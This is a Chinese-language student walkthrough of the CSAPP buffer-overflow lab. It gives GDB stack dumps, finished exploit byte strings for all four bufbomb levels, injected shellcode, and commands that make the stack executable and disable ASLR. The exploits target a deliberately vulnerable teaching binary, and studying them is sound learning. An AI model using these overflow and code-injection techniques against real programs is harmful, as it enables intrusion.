我发现我做的实验 3 和网上的都不太一样,难道这实验有新老版本之分?不过主题都是一致的:利用缓冲区溢出的漏洞进行攻击。

CSAPP LAB 实验

如果你曾经做过 Lab2,那么阅读汇编代码将会很轻松。

实验简介

名称:缓冲区溢出炸弹

实验代码:

  • makecookie:生成 cookie,后续实验用到,以判断实验是否成功。例:./makecookie SA18225155 生成 cookie
  • bufbomb:可执行程序 - 攻击对象
  • sendstring: 字符格式转换

bufbomb 程序

bufbomb 中包含一个 getbuf 函数,该函数实现如下:

1
2
3
4
5
6
int getbuf() 
{
char buf[12];
Gets(buf);
return 1;
}

可以发现,这个函数对 buf 没有越界检查(这是常见的 c 编程错误),当输入超过 11 个字符将溢出。溢出的字符将覆盖栈帧上的数据,特别的,会覆盖程序调用的返回地址。这赋予我们控制程序流程的能力,我们可以通过构造溢出字符串,程序将“返回”至我们想要的代码上。

执行以下命令进行反汇编:

1
objdump -d bufbomb > bufbomb.s

观察汇编代码,结合栈帧结构进行理解:

1
2
3
4
5
6
7
8
9
10
11
12
08048fe0 <getbuf>:
8048fe0: 55 push %ebp
8048fe1: 89 e5 mov %esp,%ebp
8048fe3: 83 ec 18 sub $0x18,%esp # 缓冲区分配
8048fe6: 8d 45 f4 lea -0xc(%ebp),%eax # 请注意这一行
8048fe9: 89 04 24 mov %eax,(%esp)
8048fec: e8 6f fe ff ff call 8048e60 <Gets>
8048ff1: b8 01 00 00 00 mov $0x1,%eax
8048ff6: c9 leave
8048ff7: c3 ret
8048ff8: 90 nop
8048ff9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi

image.png

sendstring 字符串转换程序

它的功能是将 16 进制的数据转换为 ASCII 字符串。比如:41 42 43 转换为 ABC

因为 bufbomb 接收的参数是 ASCII 字符串,我们输入的字符串使用了扩展的 ASCII 码(128~255)难以直接输入。

所以实验的基本流程为:

  • 在一个文件,如 exploit.txt 写好十六进制数据
  • 执行命令得到字符文件:./sendstring < exploit.txt > exploit-raw.txt
  • 运行 bufbomb 程序:bufbomb -t <your_number> < exploit-raw.txt<your_number> 填写你的学号以验证 cookie。

当然,我们也可以通过手动输入(从标准输入设备输入)的方式:ALT+ASC 码的十进制数(小键盘输入)。注意,最后一个数字按下后与 ALT 键同时放开。例如输入字符“1”为 ALT+49

我感觉我们的实验时阉割版,不启用评分系统。和 Lab2 不一样的是,bufbomb 是运行 1 次解开对应 Level。如果有 4 个 Level 我们可能需要写 4 个 exploit.txt。但不管怎样,基本思路是一致的。

GDB

GDB 的使用详见:CSAPP Lab-2 二进制炸弹实验。这里新学一个命令:examine 查看内存地址中的值(简写为 x)。x 命令的语法如下所示:

x/<n/f/u> <addr>

nfu 是可选的参数:

  • n 是一个正整数,表示显示内存的长度,也就是说从当前地址向后显示几个地址的内容。
  • f 表示显示的格式,参见上面。如果地址所指的是字符串,那么格式可以是 s,如果 地址是指令地址,那么格式可以是 i。
  • u 表示从当前地址往后请求的字节数,如果不指定的话,GDB 默认是 4 个 bytes。u 参数可以用下面的字符来代替:b 表示单字节,h 表示双字节,w 表示四字 节,g 表示八字节。当我们指定了字节长度后,GDB 会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。

例子:

1
2
3
4
5
6
7
(gdb) x/48xb $ebp
0xffffba40: 0x4c 0xba 0xff 0xff 0x74 0x2b 0xdf 0xf7
0xffffba48: 0x0b 0x38 0xe3 0xf7 0x41 0x42 0x43 0x44
0xffffba50: 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x00
0xffffba58: 0x78 0xba 0xff 0xff 0x1e 0x90 0x04 0x08
0xffffba60: 0x03 0x00 0x00 0x00 0xc7 0x9a 0x04 0x08
0xffffba68: 0x84 0xba 0xff 0xff 0x60 0x90 0xf2 0xf7

一些汇编指令参考

不一定全都用到:

  • call 地址:返回地址入栈(等价于 push %eip;mov 地址,%eip;注意 eip 指向下一条尚未执行的指令)
  • ret:从栈中弹出地址,并跳到那个地址(pop %eip)
  • leave:使栈做好返回准备,等价于 mov %ebp, %esp; pop %ebp
  • pushR[%esp]<--R[%esp]-4; M[R[%esp]]<--S
  • pop: D<--M[R[%esp]]; R[%esp]<--R[%esp]+4;

实验开始

Level 0 - 蜡烛

本层考察地址跳转。

炸弹的主体函数 test 为:

1
2
3
4
5
6
7
8
9
10
11
12
13
void test() 
{
int val;
volatile int local = 0xdeadbeef;
entry_check(3); /* Make sure entered this function properly */
val = getbuf(); // getbuf函数在test中被调用,当getbuf返回时继续执行后续内容
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
...
}

正常运行的结果为:

1
2
Type string: <随便输入小于11个字符的字符串>
Better luck next time

smokebufbomb 中一个正常情况下不会被执行的函数:

1
2
3
4
5
6
7
void smoke() 
{
entry_check(0); /* Make sure entered this function properly */
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}

我们的目标:在 getbuf 返回时跳到 smoke 函数执行。

思路:

  • 通过调试得到我们输入的字符串首地址,并打印出该字符串作验证 x/s $ebp-0xc
  • 找到函数 smoke 的地址 p/x &smoke;或者直接在反编译文件中搜索 smoke 函数地址即可。
  • smoke 函数的地址覆盖 getbuf 的返回地址。

我们先简单测试一个不会造成缓冲区溢出的正常字符串:41 42 43 44 45 46 47 48 49 4a 4b 11 个字符加上末尾 \0

GDB 调试,在 getbuf 函数返回前,检查%esp:

1
2
3
4
5
6
7
8
9
10
11
12
13
; (gdb) p /x $esp
; $2 = 0xffffba40 ⏩

(gdb) p /x $ebp
$9 = 0xffffba58 ▶

; (gdb) x/48xb $esp
; 0xffffba40:⏩ 0x4c 0xba 0xff 0xff 0x74 0x2b 0xdf 0xf7
; 0xffffba48: 0x0b 0x38 0xe3 0xf7 😀0x41 0x42 0x43 0x44
; 0xffffba50: 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x00😉
; 0xffffba58:▶ 0x78 0xba 0xff 0xff ❤0x1e 0x90 0x04 0x08❤
; 0xffffba60: 0x03 0x00 0x00 0x00 0xc7 0x9a 0x04 0x08
; 0xffffba68: 0x84 0xba 0xff 0xff 0x60 0x90 0xf2 0xf7

😀标记处,也就是汇编代码中的 -0xc(%ebp) 就是缓冲区开始地址。😉标记缓冲区结束的位置。

❤标记的 0x1e 0x90 0x04 0x08 是地址 0x0804901e 小端编码后的结果,指向返回 test 地址(因为 test 调用 getbuf)。

那我们利用缓冲区溢出取覆盖掉这个地址就行,让他指向 smoke 函数。观察反汇编的代码 bufbomb.s 容易知道 smoke 函数地址为:0x08048e20,小端写法:20 8e 04 08。所以,exploit0.txt 为:

1
41 42 43 44 45 46 47 48 49 4a 4b 4c ff ff ff ff 20 8e 04 08

gdb 重新运行 bufbomb 我们可以观察注入后的栈帧:

1
2
3
4
5
6
7
8
; 注入后:
; (gdb) x/48xb $esp
; 0xffffba40:⏩ 0x4c 0xba 0xff 0xff 0x74 0x2b 0xdf 0xf7
; 0xffffba48: 0x0b 0x38 0xe3 0xf7 😀0x41 0x42 0x43 0x44
; 0xffffba50: 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x4c
; 0xffffba58:▶ 0xff 0xff 0xff 0xff ❤0x20 0x8e 0x04 0x08❤
; 0xffffba60: 0x00 0x00 0x00 0x00 0xc7 0x9a 0x04 0x08
; 0xffffba68: 0x84 0xba 0xff 0xff 0x60 0x90 0xf2 0xf7

运行结果如下:

1
Type string:Smoke!: You called smoke()

Level 1 - 烟火

本层考察函数传参。

bufbomb 存在另一个函数 fizz:

1
2
3
4
5
6
7
8
9
10
void fizz(int val) 
{
entry_check(1); /* Make sure entered this function properly */
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val); // 我们必须运行到这里
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

目标:“返回”到该函数并传送参数 cookie。Cookie 为上文提到的 makecookie 程序结合自己学号生成 ./makecookie SA08225155

fizz  的地址为  0x08048dc0,小端写法:c0 8d 04 08。所以参照 Level 0,得到 exploit 的基本写法为:

1
41 42 43 44 45 46 47 48 49 4a 4b 4c ff ff ff ff c0 8d 04 08

继续阅读反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
08048dc0 <fizz>:
8048dc0: 55 push %ebp
8048dc1: 89 e5 mov %esp,%ebp
8048dc3: 53 push %ebx
8048dc4: 83 ec 14 sub $0x14,%esp
8048dc7: 8b 5d 08 mov 0x8(%ebp),%ebx # 不要看错为-0x8(%ebp)
# 0x8(%ebp) 0x8049ac7 ->
; (gdb) p (char*) 0x8049ac7
; $99 = 0x8049ac7 "Type string:"
8048dca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048dd1: e8 ca fb ff ff call 80489a0 <entry_check>
8048dd6: 3b 1d cc a1 04 08 cmp 0x804a1cc,%ebx # 0x804a1cc 存储的是cookie字符串 0x2ac98515 对应我的学号
8048ddc: 74 22 je 8048e00 <fizz+0x40> # 要想成功,必须相等
8048dde: 89 5c 24 04 mov %ebx,0x4(%esp)
8048de2: c7 04 24 98 98 04 08 movl $0x8049898,(%esp) # 传入字符串:"Misfire: You called fizz(0x%x)\n"
; (gdb) p (char*) 0x8049898
; $53 = 0x8049898 "Misfire: You called fizz(0x%x)\n"
8048de9: e8 76 f9 ff ff call 8048764 <printf@plt>

8048dee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048df5: e8 aa f9 ff ff call 80487a4 <exit@plt>
8048dfa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi

8048e00: 89 5c 24 04 mov %ebx,0x4(%esp)
8048e04: c7 04 24 29 9a 04 08 movl $0x8049a29,(%esp) # 传入字符串" Fizz!: You called fizz(0x%x)\n"
; (gdb) p (char*) 0x8049a29
; $54 = 0x8049a29 "Fizz!: You called fizz(0x%x)\n" <- 这个才是成功的
8048e0b: e8 54 f9 ff ff call 8048764 <printf@plt>
8048e10: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e17: e8 c4 fc ff ff call 8048ae0 <validate>
8048e1c: eb d0 jmp 8048dee <fizz+0x2e>
8048e1e: 89 f6 mov %esi,%esi

我们知道,要想成功,必须在跳转到 fizz 函数后,传入参数(参数值为自己的 cookie)。这个参数保存在 0x8(%ebp) 中。老方法,直接覆盖即可:

1
41 42 43 44 45 46 47 48 49 4a 4b 4c ff ff ff ff c0 8d 04 08 ee ee ee ee 15 85 c9 2a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) p /x $esp
$1 = 0xffffba44

(gdb) p /x $ebp
$2 = 0xffffba5c

(gdb) x/60xb $esp
0xffffba44:⏩ 0x74 0x2b 0xdf 0xf7 0x0b 0x38 0xe3 0xf7
0xffffba4c: 0x41 0x42 0x43 0x44 0x45 0x46 0x47 0x48
0xffffba54: 0x49 0x4a 0x4b 0x4c 0x00 0x00 0x00 0x00
0xffffba5c:▶ 0xff 0xff 0xff 0xff 0xee 0xee 0xee 0xee
0xffffba64: ❤0x15 0x85 0xc9 0x2a❤ 0x00 0xba 0xff 0xff
0xffffba6c: 0x60 0x90 0xf2 0xf7 0x86 0x91 0xf2 0xf7
0xffffba74: 0xef 0xbe 0xad 0xde 0x98 0xcc 0xff 0xff
0xffffba7c: 0x05 0x91 0x04 0x08

运行结果如下:

1
Type string:Fizz!: You called fizz(0x2ac98515)

Level 2 - 鞭炮【选做】

本层考察指令注入。

这一层我们需要跳转到另一个函数:

1
2
3
4
5
6
7
8
9
10
11
int global_value = 0; 
void bang(int val)
{
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value); // 必须执行到这里
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

与上一层的不同点在于这个函数检查的是全局变量,全局变量存储在一个特定的地址中。

观察反汇编后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
08048d60 <bang>:
8048d60: 55 push %ebp
8048d61: 89 e5 mov %esp,%ebp
8048d63: 83 ec 08 sub $0x8,%esp
8048d66: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048d6d: e8 2e fc ff ff call 80489a0 <entry_check>
8048d72: a1 dc a1 04 08 mov 0x804a1dc,%eax # 全局变量存放地址(我们需要修改)
; (gdb) p /x *0x804a1dc
; $5 = 0x0
8048d77: 3b 05 cc a1 04 08 cmp 0x804a1cc,%eax # cookie存放地址
; (gdb) p /x *0x804a1cc
; $6 = 0x2ac98515
8048d7d: 74 21 je 8048da0 <bang+0x40>
8048d7f: 89 44 24 04 mov %eax,0x4(%esp)
8048d83: c7 04 24 0b 9a 04 08 movl $0x8049a0b,(%esp)
8048d8a: e8 d5 f9 ff ff call 8048764 <printf@plt>
8048d8f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048d96: e8 09 fa ff ff call 80487a4 <exit@plt>
8048d9b: 90 nop
8048d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048da0: 89 44 24 04 mov %eax,0x4(%esp)
8048da4: c7 04 24 70 98 04 08 movl $0x8049870,(%esp)
8048dab: e8 b4 f9 ff ff call 8048764 <printf@plt>
8048db0: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048db7: e8 24 fd ff ff call 8048ae0 <validate>
8048dbc: eb d1 jmp 8048d8f <bang+0x2f>
8048dbe: 89 f6 mov %esi,%esi

程序取全局变量的地址为 0x804a1dc,这个地址初始值为 0。程序计算好的 cookie 放在 0x804a1cc,会和全局变量进行比较。我们的任务是实现修改全局变量,我们这时候就需要构造指令,注入代码了。

构造指令的步骤:

  1. 写一小段汇编程序 level2.s
  2. 编译:gcc -c level2.s
  3. 反汇编得到字节码:objdump -d level2.o > level2.d

这段代码如何执行?前面两个实验已经实现了跳转到某个函数地址执行代码,我们可以使其跳转到缓冲区中,执行我们注入的指令。

但是在默认的情况下,栈中的内容不可执行(课本好像讲过相关内容),我们需要使用工具 execstack 接触栈执行的限制:

1
2
3
sudo apt-get install execstack # 安装 execstack
execstack -s bufbomb # 亲测,GDB做到这一步就行
sysctl -w kernel.randomize_va_space=0 # 关闭ASLR(地址空间随机化)命令

如果不解除限制,后续实验可能会报段错误。

下面编写 level2.s

1
2
3
4
movl $0x2ac98515,0x804a1dc
movl $0x08048d60,(%rsp)
ret

注意汇编代码文件末尾有空行,否则有警告:warning: end of file not at end of a line; newline inserted

上面的汇编代码做了几件事情:

  1. 把 cookie 放入全局变量(0x804a1dc)中
  2. 把 bang 的函数地址压栈
  3. 返回。(弹栈跳转到指定地址)

使用反汇编工具得到的字节码如下:

1
2
3
4
5
6
7
8
9
10
11
12

level2.o: file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: c7 04 25 dc a1 04 08 movl $0x2ac98515,0x804a1dc
7: 15 85 c9 2a
b: c7 04 24 60 8d 04 08 movl $0x8048d60,(%rsp)
12: c3 retq

因此我们的指令字节为:c7 04 25 dc a1 04 08 15 85 c9 2a c7 04 24 60 8d 04 08 c3

这里先给出本层答案,然后看下面的说明就能理解:

1
41 42 43 44 45 46 47 48 49 4a 4b 4c ff ff ff ff 60 ba ff ff c7 04 25 dc a1 04 08 15 85 c9 2a c7 04 24 60 8d 04 08 c3 

执行 getbuff 函数结束前,我们需要看一下栈的地址以便确定跳转到哪里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) p /x $esp
$1 = 0xffffba40 ⏩

(gdb) p /x $ebp
$2 = 0xffffba58 ▶

(gdb) x/64xb $esp
0xffffba40:⏩ 0x4c 0xba 0xff 0xff 0x74 0x2b 0xdf 0xf7
0xffffba48: 0x0b 0x38 0xe3 0xf7 😀0x41 0x42 0x43 0x44
0xffffba50: 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x4c😉
0xffffba58:▶ 0xff 0xff 0xff 0xff ❤0x60 0xba 0xff 0xff❤
0xffffba60: ☢0xc7 0x04 0x25 0xdc 0xa1 0x04 0x08 0x15
0xffffba68: 0x85 0xc9 0x2a 0xc7 0x04 0x24 0x60 0x8d
0xffffba70: 0x04 0x08 0xc3☢ 0x00 0xef 0xbe 0xad 0xde
0xffffba78: 0x98 0xcc 0xff 0xff 0x05 0x91 0x04 0x08

上面内容是不是很熟悉,在 Level0 中出现过。😀😉标记就是程序分配的 12 个字节缓冲区,❤标记的是跳转到的目标地址。☢标记的是注入的指令。

因此❤中应填写:0xffffba60 对应的小端编码。

程序结果为:

1
Type string:Bang!: You set global_value to 0x2ac98515

Level 3 - 炸药【选做】

本层为综合发散考察。

关于本层的提示,在上面 3 层的答案中,我们用 ff ff ff ff%ebp 的值覆盖掉了。但这一层不太一样,它会检测 %ebp 的值是否改动。

首先给出了完整的 test 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void test() 
{
int val;
volatile int local = 0xdeadbeef;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val); // 我们需要进入到这里
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

要点:

  1. valgetbuf() 的返回值,我们需要修改这个返回值为我们的 cookie
  2. 保证程序在取 local 时能正确取到魔数 0xdeadbeef

观察 test 汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
08049000 <test>:
8049000: 55 push %ebp
8049001: 89 e5 mov %esp,%ebp
8049003: 83 ec 18 sub $0x18,%esp
8049006: c7 45 fc ef be ad de movl $0xdeadbeef,-0x4(%ebp) ; %ebp: 0xffffba78
804900d: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8049014: e8 87 f9 ff ff call 80489a0 <entry_check>
8049019: e8 c2 ff ff ff call 8048fe0 <getbuf>
804901e: 89 c2 mov %eax,%edx # %edx 存储 getbuf 返回值
8049020: 8b 45 fc mov -0x4(%ebp),%eax # local = -0x4(%ebp)
8049023: 3d ef be ad de cmp $0xdeadbeef,%eax
8049028: 74 0e je 8049038 <test+0x38> # 必须相等
804902a: c7 04 24 b8 98 04 08 movl $0x80498b8,(%esp)
; (gdb) p (char*) 0x80498b8
; $10 = 0x80498b8 "Sabotaged!: the stack has been corrupted"
8049031: e8 de f6 ff ff call 8048714 <puts@plt>
8049036: c9 leave
8049037: c3 ret
8049038: 3b 15 cc a1 04 08 cmp 0x804a1cc,%edx # 0x804a1cc 存储的是cookie字符串 0x2ac98515 对应我的学号
804903e: 74 12 je 8049052 <test+0x52> # 必须相等
8049040: 89 54 24 04 mov %edx,0x4(%esp)
8049044: c7 04 24 9b 9a 04 08 movl $0x8049a9b,(%esp)
; (gdb) p (char*) 0x8049a9b
; $11 = 0x8049a9b "Dud: getbuf returned 0x%x\n"
804904b: e8 14 f7 ff ff call 8048764 <printf@plt>
8049050: c9 leave
8049051: c3 ret
8049052: 89 54 24 04 mov %edx,0x4(%esp)
8049056: c7 04 24 7e 9a 04 08 movl $0x8049a7e,(%esp) # <- 目标字符串
; (gdb) p (char*) 0x8049a7e
; $12 = 0x8049a7e "Boom!: getbuf returned 0x%x\n"
804905d: e8 02 f7 ff ff call 8048764 <printf@plt>
8049062: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8049069: e8 72 fa ff ff call 8048ae0 <validate>
804906e: c9 leave
804906f: c3 ret

代码观察:

  • 地址 8049006:观察到,$0xdeadbeef 存储在 -0x4(%ebp),此时对应的 %ebp 为: 0xffffba78,也就是 $0xdeadbeef 存储在 0xffffba74
  • 地址 804901e%edx 存储 getbuf 返回值
  • 地址 80490208049028:将 -0x4(%ebp) 取出来和 $0xdeadbeef 比较。
  • 地址 8049038804903e:比较 getbuf 返回值和 cookie 是否相等

我们都知道函数执行结果一般放在 %eaxgetbuf 函数也是一样,我们注入的指令,应该要修改 %eax 为我们的 cookie,在 getbuf 压入 test 函数调用时正常返回的位置 0x804901e。在返回到 test 时会使用 %ebp,我们的注入代码不应该动这个值。

方案 1:覆盖正确的 %ebp

编写的 level3.s 为:

1
2
3
movl $0x2ac98515,%eax
movl $0x804901e,(%rsp)
ret

得到的反汇编文件:

1
2
3
4
5
6
7
8
9
10
level3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: b8 15 85 c9 2a mov $0x2ac98515,%eax
5: c7 04 24 1e 90 04 08 movl $0x804901e,(%rsp)
c: c3 retq

编写指令做两件事:

  1. 修改 getbuf 的返回值
  2. 跳转到 test 正确的位置

答案:

1
2
# 答案 1 
41 42 43 44 45 46 47 48 49 4a 4b 4c 🔹78 ba ff ff🔹 ❤60 ba ff ff❤ ☢b8 15 85 c9 2a c7 04 24 1e 90 04 08 c3☢

❤标记了指令执行地址,☢标记了注入的指令,🔹标记了覆盖的 %ebp0xffffba78

方案 2:指令修改为正确的 %ebp

另外一种答案为在指令中修改正确的 %ebp 的值也是可以的,两者实现的效果是一样的。

编写的 level3.s 为:

1
2
3
4
movl $0x2ac98515,%eax
movl $0x804901e,(%rsp)
movl $0xffffba78,%ebp
ret

反汇编结果:

1
2
3
4
5
6
7
8
9
10
11
12

level3.o: file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: b8 15 85 c9 2a mov $0x2ac98515,%eax
5: c7 04 24 1e 90 04 08 movl $0x804901e,(%rsp)
c: bd 78 ba ff ff mov $0xffffba78,%ebp
11: c3 retq

答案文件 exploit3.txt 为:

1
2
# 答案 2 。其中 zz zz zz zz 为任意十六进制数
41 42 43 44 45 46 47 48 49 4a 4b 4c 🔹zz zz zz zz🔹 ❤60 ba ff ff❤ ☢b8 15 85 c9 2a c7 04 24 1e 90 04 08 ◾bd 78 ba ff ff◾ c3☢

◾标记了新增的指令。

最终 bufbomb 程序结果为:

1
Type string:Boom!: getbuf returned 0x2ac98515

本文参考